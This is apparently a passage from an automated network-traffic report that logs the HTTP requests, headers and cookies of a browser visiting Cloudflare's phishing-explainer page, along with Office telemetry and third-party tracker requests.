Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1If-None-Match: W/"9491d0b6538ca93901b571c4f1b29f7b"
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/2459 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/z/i.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjgwMDIxODkzNjI0OTg2NDglMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmVhcnRoaGVyb3MuY29tLmRlJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q= HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /174-242772ef10d8d161ae24.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjgwMDIxODkzNjI0OTg2NDglMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmVhcnRoaGVyb3MuY29tLmRlJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q= HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729094221108&uuid=dc93f89a-e6dd-4c25-851a-993e355821da&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280 HTTP/1.1Host: alb.reddit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D
Source: global traffic	HTTP traffic detected: GET /component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D
Source: global traffic	HTTP traffic detected: GET /1be41a80498a5b73.min.js HTTP/1.1Host: tag.demandbase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logger-1.min.js HTTP/1.1Host: cdn.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qualified.js?token=37pXYrro6wCZbsU7 HTTP/1.1Host: js.qualified.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/bizible.js HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-identity-and-access-management/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094221982%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096021982%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094221
Source: global traffic	HTTP traffic detected: GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; 